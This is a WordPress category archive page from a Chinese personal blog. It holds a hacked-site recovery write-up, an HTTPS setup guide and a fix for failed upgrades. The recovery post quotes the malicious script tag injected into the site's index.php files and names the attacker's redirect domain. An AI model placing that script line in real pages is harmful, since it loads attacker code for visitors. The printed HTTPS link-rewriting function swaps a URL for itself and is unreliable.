分类目录归档:WordPress

网站被黑之后应该做的几件事

3 月 20 日早上收到邮件提醒,网站突然新增了一个注册用户。然后访问网站发现已经挂掉。

阿里云后台提示有一个网站后门,木马文件路径是 wp-content/uploads/YouxrioS/t_HUZiTkl2_s,可以断定网站已经被黑了,并且已经留下后门。我想可能是因为网站大半年都没有更新内容,黑客大哥提醒我该更新了。

用 SSH 还能远程登录到服务器,并且 root 密码,还有一般用户的密码都没改掉,说明黑客还没成功通过 webshell 提权。 服务器并未受到影响,唯一受到影响的是 WordPress 网站。进入网站目录可以发现很多 index.php 都被感染了,首行都被注入了下面的代码:

<script type='text/javascript' async src='https://setforspecialdomain.com/in2herg42t2?type=in2&frm=scr&'></script>

删除后门,简单恢复被感染的文件后,首页已经可以正常访问,但不能正常加载 css。后台登陆被强制跳转到 https://getmyfreetraffic.com/n90sab35473/wp-login.php。

看样子应该是 WordPress 地址与站点地址被篡改了。

解决办法:

1.先查询 siteurl、home 的值。

2.可以看到 siteurl 已经被篡改,改回来即可,确保 siteurl、home 的值都是正常的。

update wp_options set option_value = 'https://www.shelwee.com' where option_name = 'siteurl';

3.安全起见,还是应该所服务器上相关的密码都修改一下。比如:服务器 root 用户密码,MySQL 密码, FTP 密码, WordPress 网站后台密码等。

4.定时备份,防止最坏的事情发生。

5.升级 WordPress 、插件、主题到最新版本。

原因分析

经过排查,应该是之前安装的 Easy WP SMTP v1.3.9 这个插件的锅。这个版本含有一个 0DAY 漏洞允许未经身份验证的用户修改 WordPress options 或在其他恶意操作中注入和执行代码。

如果你也是使用这个版本的 Easy WP SMTP 插件,请尽快升级到最新版本或者停用。

除此之外,还应该删除后台可疑注册用户,并且修改你在 Easy WP SMTP 插件中配置的邮箱密码,很可能已经泄漏了。

参考

1.https://blog.nintechnet.com/critical-0day-vulnerability-fixed-in-wordpress-easy-wp-smtp-plugin/

THE END

WordPress 免费开启全站 HTTPS

1.前言

记不清楚 Chrome 是从哪个版本开始标记网站是否采用 HTTPS 协议,即在网址前面有一把绿色的锁,旁边有「安全」两字。而一般未采用 HTTPS 协议的网站则是一个黑色的i图标,表示 「不安全」。
虽然使用 HTTP 协议并不影响使用,但这事估计早晚都得做。于是今天就干脆把网站从 HTTP 过渡到 HTTPS,顺便记录一下阿里云服务器上 WordPress 开启全站 HTTPS 的过程。

2.申请证书

由于我用的是阿里云服务器,所以直接在阿里云申请的 CA 安全证书。如果服务器用的不是阿里云,可以在 Let’s Encrypt 申请。
登录阿里云后,点击「产品与服务」-> 「安全(云盾)」栏目下的「CA证书服务(数据安全)」,然后点击「购买证书」,选择「免费型DV SSL」,购买。

免费数字证书,最多保护一个明细子域名,不支持通配符,一个阿云帐户最多签发20张免费证书。

购买成功后,按要求补全相关个人信息,然后等待审核通过即可下载证书。

3.Nginx 配置证书

在 Nginx 安装目录创建 cert 文件夹,把下载的证书上传到此目录。上传后的路径类似这样:

  • /etc/nginx/cert/1127.key
  • /etc/nginx/cert/1127.pem

然后配置 nginx.conf ,配置如下,直接将访问 HTTP 的请求 301 跳转到 HTTPS 上。

server {
    listen       80;
    server_name shelwee.com www.shelwee.com;
    return 301    https://$host$request_uri;
}


server {
    listen 443;
    server_name shelwee.com www.shelwee.com;
    ssl on;
    root /home/www.shelwee.com;
    index index.php index.html index.htm;
    ssl_certificate   cert/1127.pem;
    ssl_certificate_key  cert/1127.key;
    ssl_session_timeout 5m;
    ssl_ciphers ECDHE-RSA-AES128-GCM-SHA256:ECDHE:ECDH:AES:HIGH:!NULL:!aNULL:!MD5:!ADH:!RC4;
    ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
    ssl_prefer_server_ciphers on;
    location / {
        try_files $uri $uri/ /index.php?$args;
    }
        location ~ \.php$ {
        fastcgi_pass   127.0.0.1:9000;
        try_files $uri $uri/ /index.php?$args;
        fastcgi_connect_timeout 300;
        fastcgi_read_timeout 300;
        fastcgi_send_timeout 300;
        fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
        include        fastcgi_params;
    }
}

保存 nginx.conf 并重启 Nginx 。

sudo service nginx reload

这时刷新网站,虽然网址可能已经出现 HTTPS ,但前面的图标应该还不是绿色的安全锁,因为网站的资源还是 HTTP 协议下的,所以下一步要把网站的所有资源链接都替换成 HTTPS。

4.WordPress 修改

function.php

打开主题模板下的 function.php 文件,在文件末尾追加下面的函数:

/* 替换资源链接为 https */
function resources2Https($content){
    if( is_ssl() ){
        $content = str_replace('https://www.shelwee.com/wp-content/uploads', 'https://www.shelwee.com/wp-content/uploads', $content);
    }
    return $content;
}
add_filter('the_content', 'resources2Https');

wp-config.php

最后修改 wp-config.php 文件,文件末尾追加下面语句:

/* 强制后台和登录使用 SSL */
define('FORCE_SSL_LOGIN', true);
define('FORCE_SSL_ADMIN', true);

现在刷新网站,绿色的安全锁是不是已经出现了?如果没有的话,检查一下网站上是不是存在一些写死的资源路径,找出他们(通常是 http:// 开头的)并修改成 https:// 。

THE END

WordPress在线升级失败后导致页面空白

1

WordPress 4.7 正式版前几天发布了,今天登录后台提示有新版本,点击「现在更新」后,页面加载一段时间后变空白,再次点击「现在更新」后,提示:另一更新正在进行。

这个问题已经不是第一次遇到了,上一个版本升级的时候也遇到了。那时以为是个偶然问题就没多花心思去找原因,直接下载最新版手动升级了。但这次是第二次遇到了,就没法对它视而不见了。

2

打开 Chrome DevTools 对这个升级过程进行多次分析,发现 update-core.php?action=do-core-upgrade 这个请求每次均在加载30秒左右后停止。说明 WordPress 在发起下载安装包请求后,在30秒后仍未下载完成导致请求连接中断。
解决方法也很简单,无非是以下几种:

    1. 加大带宽
    2. 减小更新包体积
    3. 加大请求响应时间

由于前两种方法适用性不是很广,所以下面的解决方案是针对第三种方法:加大请求响应时间

3

去除提示:另一更新正在进行

WordPress 在执行更新的时候数据库会生成一条记录用于防止同一时间重复更新,因此需要先把这条记录删除后下次才能在线更新。

如果用 SSH 登录服务器操作的话,执行以下命令登录 MySQL :

mysql -uroot -p //输入 MySQL root 账户密码

选择数据库,找到那条记录并删除,例如我找到的记录 option_id 是40301,那就执行:

use database;   // database 替换为你的WP数据库
select * from wp_options where option_name like '%lock%';
delete from wp_options where option_id = 40301;

加大请求响应时间

request_terminate_timeout 是 php-fpm.conf 中的一个参数,用于控制单个请求的超时中止时间,默认值30秒。

通过加大 request_terminate_timeout 的值,就可以彻底解决。执行以下命令修改:

sudo vi /etc/php5/fpm/pool.d/www.conf;  //通过 vi 编辑你的 php-fpm 配置文件

在 www.conf 找到 request_terminate_timeout 30s 这一行,值修改为300s

request_terminate_timeout 300s 

重启 php5-fpm 后配置生效

sudo service php5-fpm restart 

最后点击「现在更新」,耗时3分钟左右终于更新完毕,问题至此解决。

THE END